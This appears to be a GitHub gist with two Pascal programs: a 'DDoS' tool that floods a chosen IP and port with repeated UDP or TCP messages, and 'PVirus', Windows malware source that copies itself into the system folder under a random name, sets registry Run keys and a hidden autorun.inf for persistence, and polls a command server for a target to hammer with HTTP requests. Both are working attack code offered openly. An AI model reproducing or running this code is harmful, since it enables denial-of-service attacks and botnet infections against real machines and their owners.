Created
September 6, 2015 16:43
-
-
Save tuankiet65/48c698dcb0259fe4aa6e to your computer and use it in GitHub Desktop.
Wierd
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
program DDoS; | |
uses httpsend, BlckSock, crt; | |
var | |
Host, IP, Message,Port: String; | |
nTimes:LongInt; | |
sType,ch:char; | |
// | |
function DownloadHTTP(URL, TargetFile: string): Boolean; | |
var | |
HTTPGetResult: Boolean; | |
HTTPSender: THTTPSend; | |
begin | |
Result := False; | |
HTTPSender := THTTPSend.Create; | |
try | |
HTTPGetResult := HTTPSender.HTTPMethod('GET', URL); | |
if (HTTPSender.ResultCode >= 100) and (HTTPSender.ResultCode<=299) then begin | |
HTTPSender.Document.SaveToFile(TargetFile); | |
Result := True; | |
end; | |
finally | |
HTTPSender.Free; | |
end; | |
end; | |
function UDPSend(IP, Port, Message :String;nTimes:LongInt):Boolean; | |
var i:LongInt; | |
UDP:TUDPBlockSocket; | |
begin | |
Result :=False; | |
UDP := TUDPBlockSocket.Create; | |
UDP.CreateSocket; | |
try | |
UDP.Connect(IP,Port); | |
for i:=1 to nTimes do | |
begin | |
UDP.SendString(Message); | |
WriteLn('Sending UDP packet ',i); | |
end; | |
UDP.CloseSocket; | |
Result:=True; | |
finally | |
UDP.Free; | |
end; | |
end; | |
function TCPSend(IP, Port, Message :String;nTimes:LongInt):Boolean; | |
var i:LongInt; | |
TCP:TTCPBlockSocket; | |
begin | |
Result :=False; | |
TCP := TTCPBlockSocket.Create; | |
try | |
TCP.Connect(IP,Port); | |
for i:=1 to nTimes do | |
begin | |
TCP.SendString(Message); | |
WriteLn('Sending TCP packet ',i); | |
end; | |
TCP.CloseSocket; | |
Result:=True; | |
finally | |
TCP.Free; | |
end; | |
end; | |
begin | |
WriteLn('Enter Host: '); | |
ReadLn(Host); | |
if DownloadHttp('http://'+Host,'C:\a.html')=true then | |
WriteLn('Success!') | |
else WriteLn('Fail'); | |
Repeat | |
WriteLn('Enter IP : '); | |
ReadLn(IP); | |
WriteLn('Port :'); | |
ReadLn(Port); | |
WriteLn('Enter Message: '); | |
ReadLn(Message); | |
WriteLn('How many times: '); | |
ReadLn(nTimes); | |
WriteLn('Send UDP/TCP/Both (1,2,3) :'); | |
sType:=ReadKey; | |
if sType='1' then | |
begin | |
if UDPSend(IP, Port, Message, nTimes) = true then | |
WriteLn('Success!') | |
else | |
WriteLn('Fail!'); | |
end | |
else begin | |
if sType='2' then | |
begin | |
if TCPSend(IP, Port, Message, nTimes) = true then | |
WriteLn('Success!') | |
else | |
WriteLn('Fail!'); | |
end | |
else | |
begin | |
if UDPSend(IP, Port, Message, nTimes) = true then | |
WriteLn('Success!') | |
else | |
WriteLn('Fail!'); | |
if TCPSend(IP, Port, Message, nTimes) = true then | |
WriteLn('Success!') | |
else | |
WriteLn('Fail!'); | |
end; | |
end; | |
WriteLn('Press ESC to exit, any key to continue'); | |
ch:=ReadKey; | |
Until ch=#27; | |
end. |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
{$APPTYPE GUI} | |
{$H+} | |
Program PVirus; | |
Uses SysUtils, Dos, Crt, HTTPSend; | |
Var | |
Dir,DirCur,SystemRoot,SystemDrive, RandStr,sVictim : String; | |
F,fCmd:Text; | |
I:byte; | |
nTimes:LongInt; | |
// | |
Function GetRandStr(Length:byte):String; | |
Var i:byte; | |
Begin | |
GetRandStr:=''; | |
For I:=1 to Length do | |
GetRandStr:=GetRandStr+ chr(Random(20)+65); | |
End; | |
///Attack Function | |
function DownloadHTTP(URL, TargetFile: string): Boolean; | |
var | |
HTTPGetResult: Boolean; | |
HTTPSender: THTTPSend; | |
begin | |
DownloadHTTP:=False; | |
HTTPSender := THTTPSend.Create; | |
HTTPGetResult := HTTPSender.HTTPMethod('GET', URL); | |
if (HTTPSender.ResultCode >= 100) and (HTTPSender.ResultCode<=299) then begin | |
HTTPSender.Document.SaveToFile(TargetFile); | |
DownloadHTTP:=true; | |
end; | |
HTTPSender.Free; | |
end; | |
Procedure Attack(Victim:String); | |
begin | |
DownloadHTTP(Victim,GetCurrentDir+'\'+GetRandStr(6)+'.'+GetRandStr(3)); | |
end; | |
// | |
Procedure CreateAutorun(D,R:String); | |
Begin | |
Assign(F,D+'\autorun.inf'); | |
ReWrite(F); | |
Writeln(F,'[autorun]'); | |
Writeln(F,'open='+R+'\'+RandStr+'.exe'); | |
Close(F); | |
Repeat | |
Until FileSetAttr(R+'\'+RandStr+'.exe',faHidden)=0; | |
Repeat | |
Until FileSetAttr(D+'\autorun.inf',faHidden)=0; | |
End; | |
Function Cmd(Command:String):Boolean; | |
Begin | |
swapvectors; | |
exec(getenv('comspec'),'/c '+Command); | |
swapvectors; | |
if doserror<>0 then exit(false) | |
else exit(true); | |
End; | |
Begin | |
//Making Random Name | |
Randomize; | |
RandStr:=GetRandStr(5); | |
//Get Dir System | |
SystemRoot:=GetEnv('SystemRoot'); | |
SystemDrive:=GetEnv('SystemDrive'); | |
//GetPath and Curent Directory | |
Dir:=ParamStr(0); | |
DirCur:=GetCurrentDir; | |
//Set Startup | |
Cmd('REG ADD "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "'+GetRandStr(4)+'" /t REG_SZ /d "'+ParamStr(0)+'" /f'); | |
Cmd('REG ADD "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "'+RandStr+'" /t REG_SZ /d "'+SystemRoot+'\'+RandStr+'.exe'+'" /f'); | |
// Create Autorun | |
If DirCur<>SystemRoot Then | |
Repeat | |
Repeat | |
Until Cmd('copy "'+Dir+'" '+SystemRoot+'\'+RandStr+'.exe')=true; | |
Until FileExists(SystemRoot+'\'+RandStr+'.exe')=true; | |
If FileExists(SystemDrive+'\autorun.inf')=True Then | |
Repeat | |
Until FileSetAttr(SystemDrive+'\autorun.inf',faArchive)=0; | |
CreateAutorun(SystemDrive,SystemRoot); | |
Repeat | |
//Get Command for Server Every 10 seconds | |
If DownloadHTTP('http://localhost/bot/command.txt',DirCur+'\cmd.inp')=true then | |
begin | |
Assign(fCmd,DirCur+'\cmd.inp'); | |
Reset(fCmd); | |
Readln(fCmd,sVictim); | |
ReadLn(fCmd,nTimes); | |
Close(fCmd); | |
//Catch Command | |
if sVictim<>'' then | |
begin | |
For I:=1 to nTimes do | |
Attack(sVictim); | |
end; | |
end; | |
Delay(10000); | |
Until 1>2; | |
End. |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment